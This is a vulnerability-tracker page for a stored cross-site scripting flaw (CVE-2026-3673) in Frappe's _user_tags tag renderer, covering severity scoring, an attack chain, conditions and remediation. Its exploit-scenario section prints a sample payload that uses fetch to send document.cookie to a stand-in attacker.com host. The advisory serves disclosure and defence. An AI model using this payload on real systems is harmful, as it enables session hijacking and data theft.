Skip to main content

Frappe CVE-2026-3673

| EUVDEUVD-2026-25071 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 Fluid Attacks GHSA-qg6x-fw6m-9qrp
4.6
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain high-privilege credentials
  2. Delivery
    Access Frappe UI
  3. Exploit
    Inject XSS payload into _user_tags field
  4. Install
    Store malicious tag
  5. C2
    Victim opens list/report view
  6. Execute
    JavaScript executes in victim's browser
  7. Impact
    Attacker exfiltrates session/data or performs privileged actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authentication as a user with privileges to write to the _user_tags field (typically high-privilege roles such as System Manager or custom roles with tag-editing permissions). The target view must render tags in list or report format (default behavior in Frappe). User interaction is required: a victim must open the list/report view where the malicious tag is displayed, triggering the JavaScript execution in their browser session. The payload is stored server-side, so once injected, it persists across page reloads and affects all users who access the contaminated view. No special Frappe configuration is required beyond standard multi-user setup; tag rendering is enabled by default. Exploitation is blocked only if: (1) the victim never opens the affected view, (2) the victim's browser enforces restrictive CSP blocking inline execution, or (3) the attacker lacks privileges to edit _user_tags.

Impact

This is a real but constrained risk. The CVSS 4.6 (low severity) reflects multiple limiting factors: authenticated access required (PR:H), user interaction needed (UI:A), and limited technical impact (VI:L, SI:L only). The SSVC framework rates exploitation as 'poc' (proof-of-concept available, not widespread weaponization), further suggesting controlled risk. The attack vector is network (AV:N) and low complexity (AC:L), meaning exploitation is technically straightforward once credentials are obtained, but the authentication barrier is substantial. Attack scope remains unchanged (S:X unclear from vector, treated as contained), limiting lateral impact. Real-world risk depends heavily on the organization's access control posture: if many users have high-privilege accounts, or if shared/reused credentials are common, risk escalates significantly. The unescaped renderer is a systemic issue affecting any view displaying tags, so multiple injection points may exist. Organizations should prioritize this based on: (1) How many high-privilege users exist in their Frappe instance, (2) Whether those users handle sensitive or trusted workflows (financial, approvals), and (3) Whether they use Frappe with external integrations that could be compromised via session theft. The combination of stored nature (survives page reloads) and user interaction requirement makes this a classic supply-chain/trusted-user attack vector rather than broad internet exposure.

Exploit ScenarioDerived

A Frappe administrator (or user with tag-editing permissions) is compromised or turns malicious. They create a new user or task record and inject a payload such as <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'> into the _user_tags field. When a colleague opens the list view to see all users or tasks, the tag payload executes in their browser, silently sending session cookies or credentials to the attacker's server. The attacker can then hijack the victim's session and perform actions with their privileges (approvals, data exports, etc.). Proof-of-concept code is available, confirming the vulnerability is reproducible.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 23, 2026

Stored cross-site scripting (XSS) in Frappe 16.10.10 allows authenticated attackers with high privileges to inject malicious JavaScript via crafted tag values in the _user_tags field, which execute when victims open list or report views. The vulnerability stems from unescaped interpolation of tag content into HTML attributes and element content. Exploitation requires user interaction (victim must open affected view) and high-level authentication, but results in session hijacking or data theft with partial technical impact; CISA SSVC framework rates this as exploitable via proof-of-concept with partial technical impact.

RemediationAI

Upgrade Frappe to a patched version released after 16.10.10. The primary fix is vendor patching of the tag renderer to implement proper output encoding using context-aware escaping (HTML entity encoding for element content, attribute-value escaping for attributes). Until a patch is available, implement compensating controls: (1) Restrict _user_tags field editing to trusted users only via role-based access control (trade-off: reduces metadata flexibility), (2) Implement Content Security Policy (CSP) with script-src 'self' directive to block inline script execution (trade-off: requires testing with Frappe's dynamic JavaScript, may break legitimate functionality), (3) Disable or hide tag rendering in list/report views by removing the tag display component from templates (trade-off: loses tag functionality in those views). For immediate tactical defense, audit user accounts with tag-editing permissions and remove high-privilege credentials for inactive or shared accounts. The Fluid Attacks advisory (https://fluidattacks.com/es/advisories/silvio) and Frappe GitHub repository should be monitored for patch release announcements.

Affected VersionsENISA

frappe 16.10.10

Affected Packages

euvd frappe no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Frappe is a Python-based web application framework that handles data rendering in list and report views. The vulnerability exists in the tag rendering component where the _user_tags field (a user-defined metadata field) is interpolated directly into HTML without sanitization. The root cause is improper output encoding (CWE-79, Improper Neutralization of Input During Web Page Generation). When tags are displayed in list or report contexts, the renderer treats tag content as trusted, embedding it into both HTML element content and attribute values without escaping special characters (< > " ') or encoding entities. This allows stored payloads to break out of their intended context and execute arbitrary JavaScript in the victim's browser within the security context of the Frappe application.

Know when Frappe gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 4.6 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Apr 22, 2026 - 20:22 NVD
4.6 (MEDIUM)
CVE Published
Apr 22, 2026 - 19:32 nvd
MEDIUM 4.6

DescriptionCVE.org

An authenticated attacker can store a crafted tag value in _user_tags and trigger JavaScript execution when a victim opens the list/report view where tags are rendered. The vulnerable renderer interpolates tag content into HTML attributes and element content without escaping. This issue affects Frappe: 16.10.10.

Threat Intelligence Overview

EPSS Score
0.1%
Top 78% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

23
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Frappe

View all
CVE-2025-67289 CRITICAL POC
9.6 Dec 22

Stored cross-site scripting leading to code execution in Frappe Framework 15.89.0 (and the ERPNext application built on

CVE-2018-3885 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3884 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3883 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2018-3882 HIGH POC
8.8 Sep 12

An exploitable SQL injection vulnerability exists in the authenticated part of ERPNext v10.1.6. Rated high severity (CVS

CVE-2025-66440 HIGH POC
8.8 Dec 15

Authenticated SQL injection in Frappe ERPNext through 15.89.0 allows low-privilege users to extract arbitrary database c

CVE-2025-66439 HIGH POC
8.8 Dec 15

SQL injection in Frappe ERPNext through 15.89.0 lets an authenticated attacker with a valid session and access to the Pa

CVE-2025-66437 HIGH POC
8.8 Dec 15

Authenticated server-side template injection in Frappe ERPNext through 15.89.0 lets a user who can create or modify an A

CVE-2020-6145 HIGH POC
8.8 Aug 10

An SQL injection vulnerability exists in the frappe.desk.reportview.get functionality of ERPNext 11.1.38. Rated high sev

CVE-2026-39352 HIGH POC
8.7 May 20

Arbitrary file read in the Frappe full-stack web application framework allows remote unauthenticated attackers to retrie

CVE-2025-10655 HIGH POC
8.6 Dec 09

SQL injection in Frappe HelpDesk 1.14.0 dashboard functionality allows authenticated attackers to execute arbitrary SQL

CVE-2025-52042 HIGH POC
8.2 Oct 01

In Frappe ERPNext 15.57.5, the function get_rfq_containing_supplier() at erpnext/buying/doctype/request_for_quotation/re

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy